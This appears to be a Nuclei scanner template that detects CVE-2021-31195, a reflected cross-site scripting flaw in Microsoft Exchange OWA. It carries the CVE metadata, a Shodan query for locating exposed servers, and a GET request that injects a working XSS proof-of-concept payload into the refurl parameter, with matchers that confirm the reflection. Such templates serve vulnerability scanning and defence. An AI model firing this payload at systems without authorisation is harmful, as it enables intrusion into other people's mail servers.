54 lines
2.1 KiB
YAML
54 lines
2.1 KiB
YAML
id: CVE-2021-31195
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info:
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name: Microsoft Exchange Server - Cross-Site Scripting
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author: infosecsanyam
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severity: medium
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description: Microsoft Exchange Server, or OWA, is vulnerable to a cross-site scripting vulnerability in refurl parameter of frowny.asp.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the user's browser, potentially leading to session hijacking, data theft, or other malicious activities.
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remediation: |
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Apply the latest security updates provided by Microsoft to mitigate this vulnerability.
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reference:
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- https://blog.orange.tw/2021/08/proxyoracle-a-new-attack-surface-on-ms-exchange-part-2.html
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- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31195
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- https://nvd.nist.gov/vuln/detail/CVE-2021-31195
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- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-31195
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- https://github.com/ARPSyndicate/kenzer-templates
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
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cvss-score: 6.5
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cve-id: CVE-2021-31195
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cwe-id: CWE-79
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epss-score: 0.92095
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epss-percentile: 0.98883
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cpe: cpe:2.3:a:microsoft:exchange_server:2013:cumulative_update_23:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: microsoft
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product: exchange_server
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shodan-query: http.title:"Outlook"
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tags: cve2021,cve,microsoft,exchange,owa,xss
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http:
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- method: GET
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path:
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- '{{BaseURL}}/owa/auth/frowny.aspx?app=people&et=ServerError&esrc=MasterPage&te=\&refurl=}}};alert(document.domain)//'
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matchers-condition: and
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matchers:
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- type: word
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words:
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- 'alert(document.domain)//&et=ServerError'
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- 'mail/bootr.ashx'
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condition: and
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- type: word
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part: header
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words:
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- "text/html"
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- type: status
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status:
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- 500
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# digest: 4a0a00473045022100f9a16f74faefc797b78fc65655fcbb32ce4c970e277fb33f4ed90086b50279f202202de686b92f5b8784d62d67cb6e97edbf3e80064bbfb02e87dd30b0c71b45d6b7:922c64590222798bb761d5b6d8e72950 |